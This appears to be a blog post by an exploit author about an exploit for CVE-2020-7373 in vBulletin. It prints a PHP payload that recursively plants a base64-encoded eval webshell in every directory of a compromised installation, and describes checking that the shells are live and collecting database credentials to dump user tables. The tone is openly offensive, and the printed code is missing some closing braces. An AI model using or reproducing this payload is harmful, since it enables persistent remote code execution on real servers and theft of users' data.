PHP Webshells, vBulletin, and Equifax Mode

This is just a quick post about some of the stuff behind an exploit I wrote for CVE-2020-7373. If you want to know more about the vulnerability itself, I’d suggest reading this blog post by zenofex.

Effectively the vulnerability gives us a method of executing arbitrary PHP code on a vulnerable vBulletin installation.

When I decided to write an exploit for it, I wanted it to drop a web shell for post exploitation, along with gather some basic information about the vBulletin installation in question. One problem I came across was that depending on how the installation was set up, it was hard to reliably decide on a writable directory to drop the web shell into.

The exploit code I wrote, and will be talking about, is here:

So I decided to put together a simple PHP payload that would recursively iterate through directories, try drop the webshell, and return a list of paths for you to try find your shell at. In memory of the infamous Equifax hack, which involved a bewildering number of web shells, and in recognition that this technique would litter the host with shells… I named this technique “equifax mode”.

The PHP payload is below.

$filename = "/hax.php";
function expandDirectories($base_dir) {
      $directories = array();
      foreach(scandir($base_dir) as $file) {
            if($file == '.' || $file == '..') continue;
            $dir = $base_dir.DIRECTORY_SEPARATOR.$file;
            if(is_dir($dir)) {
                $directories []= $dir;
                $directories = array_merge($directories, expandDirectories($dir));
      return $directories;

function filedropper($directory, $filename) {
    $write_path = $directory.$filename;
    echo $write_path.",";
    $x = fopen($write_path, "w+");
    $shell = "PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+";
    fwrite($x, base64_decode($shell));
echo "<crime>";
$directories = expandDirectories(dirname(__FILE__));
foreach ( $directories as $directory ) {
    filedropper($directory, $filename);
echo "</crime>";

The webshell this blob of code drops is simply an eval shell, for executing further PHP code. We wrap the list of potential paths with HTML/XML-style tags aptly named “crime” to allow easy finding of the paths in the HTTP response.

Once we get our list of full paths of potential shells, we sub out the current-working-directory of the install with the base-URL of the install to generate URL’s that would probably point at the shells. Then, we simply check each shell for liveness.

The liveness check is basically the same as the vulnerability check, we just ask the remote server to MD5 a string, check the output, and there we go – we know we have code execution.

As for the info-gathering payload, I simply adapted that from a previous vBulletin exploit I wrote in 2015 – the “vBullshit” one for a PHP Object Injection issue. We simply gather some PHP/OS version information, as well as some information about the database connection the vBulletin installation uses, which would be useful for dumping the usertables of the target site later on or whatever. It isn’t that interesting.

The thing that I find most interesting about the “Equifax mode” payload is that it functions in “one shot”. Instead of spaffing a load of web requests trying to upload a shell, by trying to write paths/guess paths, you just let the servers PHP interpreter do the hard work. The trade off, of course, is absolutely littering the targets filesystem with artifacts you have to clean up.

I might continue to implement this in future exploits, as I personally find the reliability (get-shell-now) vs stealth trade off is somewhat worthwhile in most use cases where long term stealth isn’t an actual requirement.

Anyways, who the fuck actually looks at their logfiles?

%d bloggers like this: